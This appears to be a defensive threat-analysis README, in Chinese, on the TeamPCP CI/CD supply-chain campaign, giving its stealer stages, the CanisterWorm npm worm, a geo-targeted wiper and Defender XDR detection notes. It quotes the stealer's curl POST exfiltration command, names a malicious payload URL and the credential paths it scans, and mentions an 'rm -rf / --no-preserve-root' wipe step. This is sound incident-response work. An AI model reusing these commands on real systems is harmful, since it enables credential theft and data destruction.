TeamPCP 供应链攻击：技术分析与检测指南

CVE-2026-33634（CVSS 9.4）——2026 年迄今影响最大的 CI/CD 供应链攻击。

2026 年 3 月 19 日至 25 日期间，威胁行为者 TeamPCP（也被追踪为 DeadCatx3、PCPcat、ShellForce、CanisterWorm）在五个生态系统中实施了一次级联供应链入侵：GitHub Actions、Docker Hub、OpenVSX、npm 和 PyPI。该活动始于一个未完全轮换的 GitHub PAT，随后蔓延至两家主要开源安全厂商（Aqua Security 和 Checkmarx）、四个 GitHub Actions 仓库、两个 VS Code 扩展、容器镜像仓库以及 66+ 个 npm 包。

本仓库提供了完整的技术剖析、精选 IOC 列表（已经过误报测试），以及可直接部署到 Microsoft Defender XDR 中的检测查询。

目录

• 攻击时间线
• 杀伤链拆解
• 被入侵的组件
• 凭证窃取器机制
• CanisterWorm——npm 传播
• 针对伊朗的擦除器组件
• 检测与搜寻
• IOC 列表
• 误报（FP）过滤说明
• MITRE ATT&CK 映射
• 参考资料

攻击时间线

杀伤链拆解

阶段 1——初始访问

根本原因：2 月 28 日入侵事件后的凭证轮换不完整。aqua-bot 服务账户的 PAT 要么未被撤销，要么攻击者在轮换期间观察到了新令牌。

TeamPCP 利用这一保留的访问权限，将版本标签强制推送到恶意的冒名提交上。每个伪造的提交都克隆了原始提交的元数据（作者、时间戳、消息），同时将入口点脚本替换为窃取器有效载荷。GitHub 的发布页面没有显示任何可见变化——连“不可变（Immutable）”徽章都正常显示。

阶段 2——有效载荷执行

该窃取器——一个 204 行的 entrypoint.sh，自我标识为“TeamPCP Cloud stealer”——执行三阶段攻击：

阶段 1：内存抓取

Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory

阶段 2：文件系统凭证扫描

扫描 50+ 个敏感路径，包括：

• SSH 密钥（~/.ssh/*）
• AWS/GCP/Azure 凭证
• Kubernetes 令牌与配置
• Docker 镜像仓库凭证
• Terraform 状态文件
• 加密货币钱包（Solana、Bitcoin、Ethereum、Cardano）
• npm 令牌（~/.npmrc）
• Shell 历史记录
• .env 文件

阶段 3：加密外泄

• 将所有收集的数据打包为 tpcp.tar.gz
• 使用 AES-256-CBC（随机会话密钥）+ RSA-4096/RSA-OAEP（攻击者的公钥）加密
• 通过 curl POST 将数据外泄到针对特定厂商的仿冒域名
• 后备方案：使用窃取的 GITHUB_TOKEN 在受害者的 GitHub 账户中创建 tpcp-docs 或 docs-tpcp 仓库

阶段 3——持久化

在非 CI 的 Linux 系统上，该恶意软件：

1. 创建隐藏目录 ~/.config/sysmon/
2. 投放 Python 后门（sysmon.py）
3. 安装一个每 50 分钟轮询 C2 的 systemd 用户服务
4. 自毁开关：如果 C2 响应包含“youtube”，后门将跳过执行

阶段 4——横向移动（Checkmarx 波次）

Trivy 波次中窃取的凭证使得 Checkmarx 的生态系统遭到入侵。每个新波次都使用不同的仿冒域名 C2 域，以规避上一波次的封禁列表：

被入侵的组件

GitHub Actions

OpenVSX 扩展（VS Code Marketplace 未受影响）

这两个扩展于 3 月 23 日 12:53 UTC 通过 ast-phoenix 账户发布，彼此相隔 12 秒。激活时，environmentAuthChecker.js 会检查云供应商凭证，然后从 checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz 拉取第二阶段窃取器。

容器镜像

PyPI

三重嵌套的 base64 有效载荷，附带 K8s 横向移动工具包。通过轮询 checkmarx.zone/raw 的 sysmon.service 实现持久化。

凭证窃取器机制

所有波次的外泄模式完全相同：

curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz

仿冒域名策略是刻意为之：分析师在审查 CI/CD 日志时，会看到发往看似该 Action 自身供应商域的 curl 流量。如果不仔细比对，scan.aquasecurtiy.org 在快速日志审查中会被误认为 aquasecurity.org。

只有攻击者能够解密窃取的数据——AES 会话密钥使用其公钥进行 RSA-OAEP 加密。

CanisterWorm——npm 传播

在 Trivy 被入侵后的 24 小时内，窃取的 npm 令牌使得一个自我传播的蠕虫蔓延至 66+ 个包（141 个恶意制品）。

CanisterWorm 的特别之处：

• 首个有记录的、使用 ICP（互联网计算机协议）区块链 canister 作为 C2 的 npm 恶意软件
• 位于 tdtqy-oyaaa-aaaae-af2dq-cai 的 canister 是一个去中心化智能合约——没有单一的关停点
• 暴露 3 个方法：get_latest_link、http_request、update_link
• 攻击者无需重新发布任何 npm 包，即可在所有受感染机器上轮换有效载荷
• 自毁开关：如果 canister 返回包含 youtube.com 的 URL，后门将休眠
• 持久化：伪装成 pgmon（PostgreSQL 监控）的 systemd 用户服务
• 轮询间隔：每 50 分钟
• 二进制文件投放至 /tmp/pglog，状态记录在 /tmp/.pg_state

已知被入侵的范围： @emilgroup/*、@teale.io/*（@teale.io/eslint-config v1.8.11、v1.8.12 中的自我传播变体）

针对伊朗的擦除器组件

一个破坏性变体专门针对伊朗系统：

1. Kubernetes + 伊朗： 在每个节点（包括控制平面）部署特权 DaemonSet，通过名为 kamikaze 的容器擦除数据并强制重启
2. Kubernetes + 非伊朗： 将 CanisterWorm 后门安装为 systemd 服务
3. 非 K8s + 伊朗： 使用 sudo 执行 rm -rf / --no-preserve-root
4. 非 K8s + 非伊朗： 不采取任何行动

通过系统时区和区域设置检查进行检测。

检测与搜寻

Microsoft Defender XDR——自定义检测规则

规则名称： TeamPCP Supply Chain C2 and Malware IOC Match
严重性： 高
类别： 命令与控制（CommandAndControl）
频率： 每 1 小时

完整 KQL 查询请参阅 detection/defender_xdr_query.kql。

该查询涵盖：

• 7 个 SHA256 文件哈希（窃取器 + CanisterWorm 变体）
• 2 个 C2 IP 地址
• 4 个 C2 域（仿冒域名 + ICP canister）
• 4 个特定的 C2 URL
• DNS 解析检查

Defender TI 指示器导入

在 iocs/FINAL_TeamPCP_IOC_25Mar2026.csv 处提供了一个可直接导入的 CSV。该文件已针对生产企业环境进行过误报（FP）测试。

其他平台

IOC 列表

文件哈希（SHA256）

网络 IOC

C2 URL 路径

持久化组件

GitHub 外泄仓库（后备）

误报（FP）过滤说明

本仓库中的检测查询和 IOC CSV 已针对运行以下环境的生产环境进行过测试：

• 带有 community.general 和 kubernetes.core 集合的 Ansible AWX/Tower
• macOS 开发者工作站上的 Claude Code 和 GitHub Copilot
• FortiMonitor 代理（IMDS 轮询）
• OCI 实例上的 Oracle AHF（IMDS 轮询）
• 各种 Python/Node.js 开发工具链

以下 IOC 因确认存在误报而被移除：

MITRE ATT&CK 映射

参考资料

许可证

MIT——可自由使用、分享、改编。欢迎注明出处。

作者： Ugur Can Ates——SOC 团队负责人兼高级安全工程师
最后更新： 2026 年 3 月 25 日